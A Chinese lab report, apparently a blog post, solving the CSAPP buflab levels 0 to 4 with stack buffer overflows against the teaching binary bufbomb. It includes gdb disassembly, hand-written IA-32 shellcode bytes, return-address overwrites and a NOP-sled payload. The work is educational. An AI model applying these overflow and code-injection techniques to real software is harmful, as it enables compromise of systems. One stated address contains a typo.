CSAPP buflab 实验报告

本文详细介绍了如何通过缓冲区溢出攻击实现特定的程序行为,从Level0到Level4逐步提升难度。从覆盖返回地址简单跳转到编写汇编代码执行复杂操作,如修改全局变量、恢复栈状态。实验涵盖了IA-32调用约定、堆栈组织、程序运行时操作,以及利用gdb和汇编代码来实施攻击。通过这些实验,读者能深入理解缓冲区溢出的原理及其在安全编程中的重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

实验程序压缩包下载 提取码:1111
实验题目:BUFLAB

实验目的:

本实验将帮助您详细了解IA-32调用约定和堆栈组织。它涉及到对lab目录中的可执行文件bufbomb应用一系列缓冲区溢出攻击。注意:在本实验室中,您将获得使用操作系统和网络服务器中的安全漏洞的常用方法之一的第一手经验。我们的目的是帮助您了解程序的运行时操作,并理解这种形式的安全缺陷的性质,以便您在编写系统代码时可以避免它。

实验环境:

ubuntu12.04 (32位)环境

实验内容:

根据实验压缩包中提供的可执行文件makecookie和自己设置的userid生成cookie,在理解缓冲区溢出攻击的原理上编写每个level对应的文件,按照buflab实验文档的要求完成5个关卡的任务。

操作步骤:

  • 生成用户cookie

首先对实验压缩包进行解压,执行指令tar zxvf buflab-handout.tar.gz。
压缩包中有三个可执行程序

  1. bufbomb文件是一个有缓存区溢出漏洞的程序
  2. hex2raw的作用是让自己编写的漏洞代码转化为一个字符串的格式
  3. makecookie可以根据用户定义的userid生成唯一的cookie

这里定义我的userid为jzb,执行./makecookie jzb生成cookie。

jzb@jzb-virtual-machine:~/LAB3-buflab/buflab-handout$ ./makecookie jzb   
0x6b525c30 

可以看到,我的cookie为0x6b525c30

查看pdf文件,可得bufbomb程序从标准输入读取字符串。它使用下面定义的函数getbuf执行此操作

/* Buffer size for getbuf */  
#define NORMAL_BUFFER_SIZE 32  
int getbuf()  
{  
    char buf[NORMAL_BUFFER_SIZE];  
    Gets(buf);  
    return 1;  
}

函数Gets类似于标准库函数Gets,它从标准输入(以’\n’或文件结尾结尾)读取字符串,并将其(连同空终止符)存储在指定的目标。在这段代码中,目标是一个数组buf,它有足够的空间容纳32个字符。获取从输入流中获取字符串,并将其存储到目标地址(在本例中为buf)。

实验基础(核心原理):
Gets()无法确定buf是否足够大以存储整个输入。它只是复制整个输入字符串,可能超出了在目标位置分配的存储的边界。当错误信息出现时,缓冲区溢出导致程序被破坏,而这也是本次实验的基本原理;

实验中需要的几个控制语句:
-u userid,使用这个语句是要确保不同的人使用不同的 ID 做题,并攻击不同的地址。
-h 用于打印这几个操作的内容,
-n 用于 Level4 关卡,
-s 用于提交你的解决方案到服务器中

本次实验分为level0到level4,与bomb实验类似,依次解决,完成本次实验。

Level 0: Candle

任务要求:在bufbomb中调用以下getbuf函数:

void test() { 
  int val; 
  /* Put canary on stack to detect possiblecorruption */ 
  volatile int local = uniqueval(); 
 
  val = getbuf(); 
 
  /* Check for corruption stack */ 
  if (local != uniqueval()) { 
    printf("Sabotaged!: the stack has beencorrupted\n"); 
  } 
  else if (val == cookie) { 
    printf("Boom!: getbuf returned0x%x\n", val); 
    validate(3); 
  } else { 
    printf("Dud: getbuf returned0x%x\n", val); 
  } 
}

当getbuf执行返回语句时,程序通常会继续执行,在函数测试中。我们想要改变这种行为。在bufbomb文件中,有一个smoke函数,代码如下:

void smoke(){ 
  puts("Smoke!: You calledsmoke()"); 
  validate(0); 
  exit(0); 
}

我们的任务是让bufbomb在getbuf执行它的return语句时执行smoke函数,而不是返回测试。要注意输入的字符串也可能损坏部分堆栈,而不是直接与此阶段相关,但这不会造成问题,因为smoke函数导致程序直接退出。

一些建议:

  • 需要设计输入的字符串这一级别的所有信息可以确定通过level0的 bufbomb的反汇编版本。使用objdump -d来获得这个被拆解的版本。
  • 注意字节顺序。
  • 使用gdb来逐步执行getbuf的最后几条指令
  • 对于getbuf, buf在栈帧中的位置取决于哪个gcc版本,用来编译bufbomb,所以必须读一些汇编来找出它的真正位置。

思路:在getbuf读取字符串buf时输入一个过长的字符串,返回地址部分用smoke的入口地址覆盖,这样当程序就不会正常返回而是根据你的返回地址跳转到返回地址对应的内容并执行。关键需要确定栈的大小和需要覆盖的字节数。

首先查看getbuf的反汇编代码:

(gdb) disass getbuf
Dump of assembler code for function getbuf:
   0x08049262 <+0>:	    push   %ebp
   0x08049263 <+1>: 	mov    %esp,%ebp
   0x08049265 <+3>:  	sub    $0x38,%esp
   0x08049268 <+6>:	    lea    -0x28(%ebp),%eax
   0x0804926b <+9>:	    mov    %eax,(%esp)
   0x0804926e <+12>:	call   0x8048c32 <Gets>
   0x08049273 <+17>:	mov    $0x1,%eax
   0x08049278 <+22>:	leave  
   0x08049279 <+23>:	ret    
End of assembler dump.

通过<+6>行我们可以看到buf数组开辟了0x28大小栈区大小(即40个字节的大小),同时我们可以知道ebp处地址保存的是旧的ebp的值,ebp+4处保存的就是调用者的返回地址。所以我们只需要在getbuf输入字符串开始的地方填入44个字节后,在返回地址中把smoke的地址写进去就可以跳到smoke函数执行。

getbuf的栈帧如图所示:
在这里插入图片描述

通过查看smoke函数的反汇编代码:

(gdb) disass smoke
Dump of assembler code for function smoke:
   0x08048e0a <+0>: 	push   %ebp
   0x08048e0b <+1>: 	mov    %esp,%ebp
   0x08048e0d <+3>: 	sub    $0x18,%esp
   0x08048e10 <+6>: 	movl   $0x804a2fe,0x4(%esp)
   0x08048e18 <+14>:	movl   $0x1,(%esp)
   0x08048e1f <+21>:	call   0x8048990 <__printf_chk@plt>
   0x08048e24 <+26>:	movl   $0x0,(%esp)
   0x08048e2b <+33>:	call   0x8049280 <validate>
   0x08048e30 <+38>:	movl   $0x0,(%esp)
   0x08048e37 <+45>:	call   0x80488d0 <exit@plt>
End of assembler dump.

得到其起始地址0x080448e0a

注意:如果在这里输入 0a,会被Gets 函数判断为换行符\n,从而结束字符串输入,导致这个地址错误,所以最后肯定不能输入0a。

解决办法:选择smoke起始地址的下一条地址即可,因为我们只需要执行这个函数。

因此level0的答案可以为40个0+4(ebp)+smoke入口地址(注意小端输入):
在这里插入图片描述
运行结果:

在这里插入图片描述
结果正确,跳转到smoke函数,level0完成。

Level 1: Sparkler

任务要求:在bufbomb文件中还有一个fizz函数,包含以下C代码:

void fizz(int val)
{
    if (val == cookie)
    {
        printf("Fizz!: You called fizz(0x%x)\n", val);
        validate(1);
    }
    else
        printf("Misfire: You called fizz(0x%x)\n", val);
    exit(0);
}

与level0类似,我们的任务是让bufbomb执行fizz的代码,而不是返回测试。但是,在这种情况下,必须使它看起来像嘶嘶作响,就好像传递了cookie作为它的参数一样。

一些建议:

  • 请注意,程序不会真正调用fizz,它只会执行其代码。这对于将cookie放在堆栈的何处具有重要意义。

思路:我们要使得fizz函数中的val参数为自己的cookie才算实现level 1。

首先先查看fizz函数的反汇编代码:

(gdb) disass fizz
Dump of assembler code for function fizz:
   0x08048daf <+0>: 	push   %ebp
   0x08048db0 <+1>: 	mov    %esp,%ebp
   0x08048db2 <+3>: 	sub    $0x18,%esp
   0x08048db5 <+6>: 	mov    0x8(%ebp),%eax
   0x08048db8 <+9>: 	cmp    0x804d104,%eax
   0x08048dbe <+15>:	jne    0x8048de6 <fizz+55>
   0x08048dc0 <+17>:	mov    %eax,0x8(%esp)
   0x08048dc4 <+21>:	movl   $0x804a2e0,0x4(%esp)
   0x08048dcc <+29>:	movl   $0x1,(%esp)
   0x08048dd3 <+36>:	call   0x8048990 <__printf_chk@plt>
   0x08048dd8 <+41>:	movl   $0x1,(%esp)
   0x08048ddf <+48>:	call   0x8049280 <validate>
   0x08048de4 <+53>:	jmp    0x8048dfe <fizz+79>
   0x08048de6 <+55>:	mov    %eax,0x8(%esp)
   0x08048dea <+59>:	movl   $0x804a4d4,0x4(%esp)
   0x08048df2 <+67>:	movl   $0x1,(%esp)
   0x08048df9 <+74>:	call   0x8048990 <__printf_chk@plt>
   0x08048dfe <+79>:	movl   $0x0,(%esp)
   0x08048e05 <+86>:	call   0x80488d0 <exit@plt>
End of assembler dump.

由mov 0x8(%ebp),%eax可知,此时ebp+0x8的地址保存的是fizz()的参数。其余类似Level0。更改getbuf()的返回地址为fizz()的入口地址后,进入fizz()前的部分栈帧示意图如下。进入fizz()后,esp的值加4,之后push %ebp,esp的值减4,再由mov %esp,%ebp,我们可以确定fizz()的参数的地址。

因此level1的答案可以为(对应上面的栈帧图):

运行结果:
在这里插入图片描述

结果正确,level1完成。

Level 2: Firecracker

任务要求:一种更复杂的缓冲区攻击形式涉及提供一个字符串来编码实际的机器指令。利用字符串用堆栈上这些指令的起始地址覆盖返回指针。当调用函数(在本例中为getbuf)执行其ret指令时,程序将开始执行堆栈上的指令,而不是返回。通过这种形式的攻击,可以让程序执行几乎任何操作。放在堆栈上的代码称为利用漏洞代码。不过,这种类型的攻击很棘手,因为必须将机器代码放到堆栈上,并将返回指针设置为该代码的开头。

在bufbomb文件中有一个函数bang,具有以下C代码:

int global_value = 0;
void bang(int val) {
	if (global_value == cookie) { 
        printf("Bang!: You set global_value to 0x%x\n", global_value); 
        validate(2);
	} else 
        printf("Misfire: global_value = 0x%x\n", global_value);
	exit(0); 
}

与level0和level1类似,任务是让bufbomb执行bang的代码,而不是返回测试。但是,在此之前,必须将全局变量global_value设置为用户id的cookie。攻击代码应该设置全局变量,将bang的地址推送到堆栈上,然后执行ret指令以跳转到bang的代码。

一些建议:

  • 可以使用gdb获取构建攻击字符串所需的信息。在getbuf中设置断点并运行到此断点。确定全局值的地址和缓冲区的位置等参数。
  • 手工确定指令序列的字节编码非常繁琐,容易出错。可以通过编写包含要放入堆栈的指令和数据的汇编代码文件,让工具完成所有工作。用gcc -m32 -c汇编这个文件,用objdump -d反汇编它。应该能够得到在提示符处键入的确切字节序列。
  • 请记住,利用漏洞字符串取决于的计算机、编译器,甚至的用户标识的cookie。在导师指定的一台机器上完成所有工作,并确保在bufbomb的命令行中包含正确的userid。
  • 编写汇编代码时,注意地址模式的使用。请注意,movl $0x4,%eax将值0x00000004移到寄存器%eax;而movl 0x4,%eax将内存位置0x00000004处的值移动到%eax中。由于该内存位置通常未定义,第二条指令将导致错误!
  • 不要试图使用jmp或call指令跳转到bang的代码。这些指令使用PC相对寻址,这是非常棘手的设置正确。相反,在堆栈上推送一个地址并使用ret指令。

查看bang的反汇编代码:

(gdb) disass bang
Dump of assembler code for function bang:
   0x08048d52 <+0>: 	push   %ebp
   0x08048d53 <+1>: 	mov    %esp,%ebp
   0x08048d55 <+3>: 	sub    $0x18,%esp
   0x08048d58 <+6>: 	mov    0x804d10c,%eax
   0x08048d5d <+11>:	cmp    0x804d104,%eax    //比较地址0x804d10c和0x804d104所存的值
   0x08048d63 <+17>:	jne    0x8048d8b <bang+57>
   0x08048d65 <+19>:	mov    %eax,0x8(%esp)
   0x08048d69 <+23>:	movl   $0x804a4ac,0x4(%esp)
   0x08048d71 <+31>:	movl   $0x1,(%esp)
   0x08048d78 <+38>:	call   0x8048990 <__printf_chk@plt>
   0x08048d7d <+43>:	movl   $0x2,(%esp)
   0x08048d84 <+50>:	call   0x8049280 <validate>
   0x08048d89 <+55>:	jmp    0x8048da3 <bang+81>
   0x08048d8b <+57>:	mov    %eax,0x8(%esp)
   0x08048d8f <+61>:	movl   $0x804a2c2,0x4(%esp)
   0x08048d97 <+69>:	movl   $0x1,(%esp)
   0x08048d9e <+76>:	call   0x8048990 <__printf_chk@plt>
   0x08048da3 <+81>:	movl   $0x0,(%esp)
   0x08048daa <+88>:	call   0x80488d0 <exit@plt>
End of assembler dump.

首先看到bang函数的起始地址是0x08048d52,接着比较了两个地址的值,通过调试查看这两个地址的值:
在这里插入图片描述
可以看到,这两个地址的值分别是全局变量global_value和cookie。

思路:需要写汇编代码,完成相应需求,再通过 gcc 转成机器语言作为密码

看看buflab-writeup.pdf最后给出的一个实例,明确一下使用方法:
示例代码:

# Example of hand-generated assembly code  
  
        push $0xabcdef                # Push value onto stack  
        add $17,%eax                  # Add 17 to %eax  
        .align 4                      # Following will be aligned on multiple of 4  
        .long 0xfedcba98              # A 4-byte constant 

使用 gcc 汇编、反汇编得到的机器码:

unix> gcc -m32 -c example.S  
unix> objdump -d example.o > example.d 

生成的文件example.d包含以下行

0: 68 ef cd ab 00       push $0xabcdef  
5: 83 c0 11              add $0x11,%eax  
8: 98                    cwtl  
9: ba                    .byte 0xba  
a: dc fe                 fdivr %st,%st(6) 

所以这个汇编代码的机器码就是:

68 ef cd ab 00 83 c0 11 98 ba dc fe 

这个机器码再通过 hex2raw 生成一个输入字符串传给 bufbomb 就可以完成任务。

由上可以开始写汇编代码,要完成的任务有两个,一是修改变量值,二是使用 ret 语句完成对 bang 函数的调用,前一个操作很简单,就是mov 指令传值,后一个操作结合 ret 操作的作用(将栈顶单元出栈并赋给 eip 以实现转移),需要先把 bang 函数的入口地址压栈,再 ret,即可实现bang的调用;
汇编代码如下:

1.movl $0x6b525c30,0x804d10c  //将cookie保存到global_value
2.push $0x08048d52    //bang的函数入口地址入栈
3.ret   //返回,进入bang函数

转换成机器码:

bo@bo:~/LAB3-buflab/buflab-handout$ gcc -m32 -c level2.s  
bo@bo:~/LAB3-buflab/buflab-handout$ objdump -d level2.o >level.d

level2.d文件为:

level2.o:     file format elf32-i386  
  
  
Disassembly of section .text:  
  
00000000 <.text>:  
   0:   c7 05 0c d1 04 08 30    movl   $0x6b525c30,0x804d10c  
   7:   5c 52 6b   
   a:   68 52 8d 04 08          push   $0x8048d52  
   f:   c3                      ret  

机器码即为:

c7 05  0c d1 04 08 30 5c 52 6b 68 52 8d 04 08 c3

将机器码写在buf的头部,getbuf执行完后的返回地址改成buf的首地址,这样当在getbuf中调用ret返回时程序会跳转到buf处执行上面汇编代码的指令,出现ret时会跳转到bang函数中执行。
使用 gdb 调试,在 getbuf 函数中设置断点,查询 buf 的首地址。由level0的getbuf函数的反汇编可得buf的首地址即为eax中的值

Breakpoint 1, 0x08049268 in getbuf ()  
(gdb) disass getbuf  
Dump of assembler code for function getbuf:  
   0x08049262 <+0>:   push   %ebp  
   0x08049263 <+1>:   mov    %esp,%ebp  
   0x08049265 <+3>:   sub    $0x38,%esp  
=> 0x08049268 <+6>:    lea    -0x28(%ebp),%eax  
   0x0804926b <+9>:   mov    %eax,(%esp)  
   0x0804926e <+12>:  call   0x8048c32 <Gets>  
   0x08049273 <+17>:  mov    $0x1,%eax  
   0x08049278 <+22>:  leave    
   0x08049279 <+23>:  ret      
End of assembler dump.  
(gdb) ni  
0x0804926b in getbuf ()  
(gdb) p/x $eax  
$1 = 0x55683288

由调试结果可得,buf的首地址为0x55683288

更改后的栈帧示意图如下:

根据栈帧图可以得到答案:

运行结果:
在这里插入图片描述
结果正确,level2完成。

Level 3: Dynamite

任务要求:我们前面的攻击都导致程序跳转到其他函数的代码,然后导致程序退出。因此,可以使用破坏堆栈的漏洞字符串,覆盖保存的值。

最复杂的缓冲区溢出攻击形式会导致程序执行一些攻击代码,从而更改程序的寄存器/内存状态,但会使程序返回到原始调用函数(在本例中进行测试)。调用函数不受攻击。不过,这种类型的攻击很棘手,因为必须:1)将机器代码放入堆栈,2)将返回指针设置为此代码的开头,3)撤消对堆栈状态的任何损坏。

此级别的工作是提供一个漏洞字符串,该字符串将导致getbuf将cookie返回到test,而不是值1。可以在test的代码中看到,这将导致程序运行“Boom!”攻击代码应该将cookie设置为返回值,恢复任何损坏的状态,在堆栈上推送正确的返回位置,并执行ret指令以真正返回测试。

一些建议:

  • 可以使用gdb获取构建攻击字符串所需的信息。在getbuf中设置断点并运行到此断点。确定参数,如保存的返回地址。
  • 手工确定指令序列的字节编码非常繁琐,容易出错。可以通过编写包含要放入堆栈的指令和数据的汇编代码文件,让工具完成所有工作。用gcc组装这个文件,用objdump反汇编它。
  • 请记住,利用漏洞字符串取决于计算机、编译器,甚至用户标识的cookie。在指定机器上完成所有工作,并确保在bufbomb的命令行中包含正确的userid。

test函数的代码如下:

void test() 
{
	int val;
	/* Put canary on stack to detect possible corruption */ 
	volatile int local = uniqueval();
	
	val = getbuf();
	
	/* Check for corrupted stack */ 
	if (local != uniqueval()) {
		printf("Sabotaged!: the stack has been corrupted\n"); 
	}
    else if (val == cookie) {
		printf("Boom!: getbuf returned 0x%x\n", val); 
		validate(3);
	} 
	else {
		printf("Dud: getbuf returned 0x%x\n", val);
    }
}

test的汇编代码如下:

(gdb) disass test
Dump of assembler code for function test:
   0x08048e3c <+0>: 	push   %ebp
   0x08048e3d <+1>: 	mov    %esp,%ebp
   0x08048e3f <+3>: 	push   %ebx
   0x08048e40 <+4>: 	sub    $0x24,%esp
   0x08048e43 <+7>: 	call   0x8048c18 <uniqueval>
   0x08048e48 <+12>:	mov    %eax,-0xc(%ebp)
   0x08048e4b <+15>:	call   0x8049262 <getbuf>
   0x08048e50 <+20>:	mov    %eax,%ebx
   0x08048e52 <+22>:	call   0x8048c18 <uniqueval>
   0x08048e57 <+27>:	mov    -0xc(%ebp),%edx
   0x08048e5a <+30>:	cmp    %edx,%eax
   0x08048e5c <+32>:	je     0x8048e74 <test+56>
   0x08048e5e <+34>:	movl   $0x804a460,0x4(%esp)
   0x08048e66 <+42>:	movl   $0x1,(%esp)
   0x08048e6d <+49>:	call   0x8048990 <__printf_chk@plt>
   0x08048e72 <+54>:	jmp    0x8048eba <test+126>
   0x08048e74 <+56>:	cmp    0x804d104,%ebx
   0x08048e7a <+62>:	jne    0x8048ea2 <test+102>
   0x08048e7c <+64>:	mov    %ebx,0x8(%esp)
   0x08048e80 <+68>:	movl   $0x804a31a,0x4(%esp)
   0x08048e88 <+76>:	movl   $0x1,(%esp)
   0x08048e8f <+83>:	call   0x8048990 <__printf_chk@plt>
   0x08048e94 <+88>:	movl   $0x3,(%esp)
   0x08048e9b <+95>:	call   0x8049280 <validate>
   0x08048ea0 <+100>:	jmp    0x8048eba <test+126>
   0x08048ea2 <+102>:	mov    %ebx,0x8(%esp)
   0x08048ea6 <+106>:	movl   $0x804a337,0x4(%esp)
   0x08048eae <+114>:	movl   $0x1,(%esp)
   0x08048eb5 <+121>:	call   0x8048990 <__printf_chk@plt>
   0x08048eba <+126>:	add    $0x24,%esp
   0x08048ebd <+129>:	pop    %ebx
   0x08048ebe <+130>:	pop    %ebp
   0x08048ebf <+131>:	ret    
End of assembler dump.

getbuf后的下一条指令的地址为:0x08048e50

由实验要求我们可以知道这一关的主要目标是 提供一个漏洞字符串,该字符串将导致getbuf将cookie返回到test,而不是值1。可以在test的代码中看到,这将导致程序运行“Boom!”。

漏洞字符串将cookie设置为返回值的同时,应恢复任何损坏的状态,在堆栈上设定正确的返回地址,并执行ret指令以真正返回test。

思路:getbuf的返回值保存在eax中,故注入的字符串应执行操作将getbuf中eax的值设为cookie的值。同时返回到test的call 0x8049262 < getbuf >之后的位置,同时注入buf时应让保存的旧ebp保持原值不变。

写汇编代码如下:

movl $0x6b525c30,%eax   /*将cookie的值保存在eax中*/
push $0x08048e50   /*test的call <getbuf>之后的地址入栈*/
ret   /*返回*/

转换成机器码:

bo@bo:~/LAB3-buflab/buflab-handout$ gcc -m32 -c level3.s  
bo@bo:~/LAB3-buflab/buflab-handout$ objdump -d level3.o >level3.d 

level3.d文件为:

level3.o:     file format elf32-i386  
  
  
Disassembly of section .text:  
  
00000000 <.text>:  
   0:   b8 30 5c 52 6b          mov    $0x6b525c30,%eax  
   5:   68 50 8e 04 08          push   $0x8048e50  
   a:   c3                      ret   

得到的机器码为:

b8 30 5c 52 6b 68 50 8e 04 08 c3

可以把这段机器码从buf的起始位置开始存放,而把getbuf的返回地址更改为buf的起始地址,以执行这段代码。与Level 2一样,buf的起始地址为:0x55683288。

同时旧ebp应保持原值不变,调试查看得getbuf保存的ebp的值

(gdb) b *0x8049262  
Breakpoint 1 at 0x8049262  
(gdb) r -u jzb  
Starting program: /home/jzb/LAB3-buflab/buflab-handout/bufbomb -u jzb  
Userid: jzb  
Cookie: 0x6b525c30  
  
Breakpoint 1, 0x08049262 in getbuf ()  
(gdb) p/x $ebp  
$1 = 0x556832e0 

查看到旧ebp的值为:0x556832e0

故更改后的getbuf的部分栈帧如下:

故答案可以为:

运行结果:
在这里插入图片描述
结果正确,level3完成。

Level 4: Nitroglycerin

任务要求:请注意:需要使用“-n”命令行标志才能运行此阶段。

从一个运行到另一个运行,特别是由不同的用户运行时,给定过程使用的确切堆栈位置会有所不同。这种变化的一个原因是,当程序开始执行时,所有环境变量的值都放在堆栈的底部附近。环境变量存储为字符串,需要不同的存储量,这取决于它们的值。因此,为给定用户分配的堆栈空间取决于其环境变量的设置。在GDB下运行程序时,堆栈位置也不同,因为GDB将堆栈空间用于自己的一些状态。

在调用getbuf的代码中,我们加入了稳定堆栈的特性,因此getbuf的堆栈帧的位置在运行之间是一致的。这使得可以编写一个知道buf的确切起始地址的攻击字符串。如果试图在普通程序上使用这种漏洞,会发现它有时可以工作,但有时会导致分段错误。因此被称为“炸药”——阿尔弗雷德·诺贝尔研制的一种炸药,含有稳定元素,使其不易发生意外爆炸。

对于这个级别,我们走了相反的方向,使得堆栈位置比通常情况下更不稳定。因此得名“硝化甘油”——一种众所周知不稳定的炸药。

当使用命令行标志“-n”运行bufbomb时,它将以“Nitro”模式运行。程序不调用函数getbuf,而是调用稍有不同的函数getbufn:

/* Buffer size for getbufn */
#define KABOOM_BUFFER_SIZE 512

此函数类似于getbuf,只是它有512个字符的缓冲区。将需要这个额外的空间来创建一个可靠的漏洞。调用getbufn的代码首先在堆栈上分配一个随机的存储量,这样,如果在getbufn的两个连续执行期间对%ebp的值进行采样,会发现它们之间的差异多达±240

此外,在Nitro模式下运行时,bufbomb要求提供字符串5次,它将执行getbufn 5次,每次都有不同的堆栈偏移量。利用漏洞字符串必须使其每次返回cookie。

同样,此级别的任务是提供一个漏洞字符串,该字符串将导致getbufn将cookie返回到test,而不是值1。可以在test的代码中看到,这将导致程序进入“KABOOM!”的攻击代码应该将cookie设置为返回值,恢复任何损坏的状态,在堆栈上推送正确的返回位置,并执行ret指令以真正返回testn。

一些建议:

  • 可以使用程序hex2raw发送攻击字符串的多个副本。如果文件exploit.txt中只有一个副本,则可以使用以下命令:
unix> cat exploit.txt | ./hex2raw -n | ./bufbomb -n -u bovik

对于getbufn的所有5次执行,必须使用相同的字符串。

  • 诀窍是使用nop指令,它用一个字节编码(代码0x90)

分析:这一关用的不再是getbuf而是getbufn和testn,都是为了随机化栈基址。

先看一下getbufn函数的汇编代码:

(gdb) disass getbufn
Dump of assembler code for function getbufn:
   0x08049244 <+0>: 	push   %ebp
   0x08049245 <+1>: 	mov    %esp,%ebp
   0x08049247 <+3>: 	sub    $0x218,%esp
   0x0804924d <+9>: 	lea    -0x208(%ebp),%eax
   0x08049253 <+15>:	mov    %eax,(%esp)
   0x08049256 <+18>:	call   0x8048c32 <Gets>
   0x0804925b <+23>:	mov    $0x1,%eax
   0x08049260 <+28>:	leave  
   0x08049261 <+29>:	ret    
End of assembler dump.

可以看到buf的首地址为-0x208(%ebp)为十进制520个字节大小。

这一level中每次运行testn的ebp都不同,所以每次getbufn里面保存的test的ebp也是随机的,但是栈顶的esp是不变的,我们就要找到每次随机的ebp与esp之间的关系来恢复ebp。
我们在getbufn处设置断点,注意与前面不同的是设置为-n模式,然后每次输入一次string来看一下ebp-0x208的值,然后continue,再次输入,一共输入5次。




ebp的值减去0x208为buf的首地址
0x556832b00x556830A8
0x556832600x55683058
0x556832e00x556830D8
0x556832300x55683028
0x556833000x556830F8

我们找到最大值就是0x556830F8

接下来,应该确定旧的ebp的值与esp之间的关系就可以完成ebp的恢复,所以我们看到testn函数的汇编代码:

(gdb) disass testn
Dump of assembler code for function testn:
   0x08048cce <+0>: 	push   %ebp
   0x08048ccf <+1>: 	mov    %esp,%ebp
   0x08048cd1 <+3>: 	push   %ebx
   0x08048cd2 <+4>: 	sub    $0x24,%esp
   0x08048cd5 <+7>: 	call   0x8048c18 <uniqueval>
   0x08048cda <+12>:	mov    %eax,-0xc(%ebp)
   0x08048cdd <+15>:	call   0x8049244 <getbufn>
   0x08048ce2 <+20>:	mov    %eax,%ebx
   0x08048ce4 <+22>:	call   0x8048c18 <uniqueval>
   0x08048ce9 <+27>:	mov    -0xc(%ebp),%edx
   0x08048cec <+30>:	cmp    %edx,%eax
   0x08048cee <+32>:	je     0x8048d06 <testn+56>
   0x08048cf0 <+34>:	movl   $0x804a460,0x4(%esp)
   0x08048cf8 <+42>:	movl   $0x1,(%esp)
   0x08048cff <+49>:	call   0x8048990 <__printf_chk@plt>
   0x08048d04 <+54>:	jmp    0x8048d4c <testn+126>
   0x08048d06 <+56>:	cmp    0x804d104,%ebx
   0x08048d0c <+62>:	jne    0x8048d34 <testn+102>
   0x08048d0e <+64>:	mov    %ebx,0x8(%esp)
   0x08048d12 <+68>:	movl   $0x804a48c,0x4(%esp)
   0x08048d1a <+76>:	movl   $0x1,(%esp)
   0x08048d21 <+83>:	call   0x8048990 <__printf_chk@plt>
   0x08048d26 <+88>:	movl   $0x4,(%esp)
   0x08048d2d <+95>:	call   0x8049280 <validate>
   0x08048d32 <+100>:	jmp    0x8048d4c <testn+126>
   0x08048d34 <+102>:	mov    %ebx,0x8(%esp)
   0x08048d38 <+106>:	movl   $0x804a2a6,0x4(%esp)
   0x08048d40 <+114>:	movl   $0x1,(%esp)
   0x08048d47 <+121>:	call   0x8048990 <__printf_chk@plt>
   0x08048d4c <+126>:	add    $0x24,%esp
   0x08048d4f <+129>:	pop    %ebx
   0x08048d50 <+130>:	pop    %ebp
   0x08048d51 <+131>:	ret    
End of assembler dump.

我们可以知道esp刚开始的时候等于ebp,接下来push ebx则ebp=esp+0x4,继续往下分析。sub $0x24,%esp之后,ebp=esp+0x28就是esp和ebp每次的变化关系,通过esp来恢复我们的每次的ebp。同时,通过上面的代码,我们也知道了返回地址为0x8048ce2。所以,我们的汇编代码为:

mov 	$0x6b525c30,%eax  /*将cookie的值保存在eax中*/
lea 	0x28(%esp),%ebp  /*恢复保存的ebp的值*/
push	$0x08048ce2  /*testn的call <getbuf>之后的地址入栈*/
ret     /*返回*/

输入指令,反汇编得机器码如下

level4.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:	b8 30 5c 52 6b       	mov    $0x6b525c30,%eax
   5:	8d 6c 24 28          	lea    0x28(%esp),%ebp
   9:	68 e2 8c 04 08       	push   $0x8048ce2
   e:	c3                   	ret    

得到的机器码

b8 30 5c 52 6b 8d 6c 24 28 68 e2 8c 04 08 c3 

可以得到栈帧的示意图:

因此答案可以 注入的字符串为509个nop(0x90)+15个字节的攻击代码+48 34 68 55:

运行结果:
在这里插入图片描述
运行结果正确。

实验总结

这次实验的难度随级别的提高而增加,引导我们如何利用缓冲区存在的漏洞实现一些目的

  • Level0:利用直接覆盖返回地址,在调用函数getbuf时直接返回smoke函数,让我们初步认识缓冲区溢出攻击的原理。
  • Level1:在Level0的基础上,多了修改函数参数的操作,这需要我们结合汇编代码找到参数的位置。
  • Level2:开始需要我们自己编写汇编代码段去实现操作:修改返回值、设置全局变量、跳转。同时也需要利用缓冲区溢出,跳转至这段代码的起始地址。
  • Level3:同时利用自己编写的代码设置返回值并返回至test函数,需要覆盖buf时要保持函数保存的旧ebp不变。
  • Level4:每次调用getbufn的目的与Level3一致,不同的是它的ebp不断变化,需要找到等式关系去编写代码以修正而ebp。难点还在于多次调用使栈基址随机化,这需要利用弄nop_sled的技术。

通过学习、理解如何实现缓冲区溢出攻击,我对函数调用、栈帧空间的分配的使用等相关知识有了更加深刻的理解。对于gdb等调试工具更加熟练。一开始我对于栈溢出攻击的理解只是覆盖返回地址,但是往等级后做实验就发现了新的方法,并且在实验过程中也对函数的返回方式也有了更深的理解,我觉得在实验过程中对于栈空间的知识进行了更好的复习,这样的话我觉得要想对知识理解更好,还需要结合运用,反复练习,才会对知识认识得更加透彻。

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值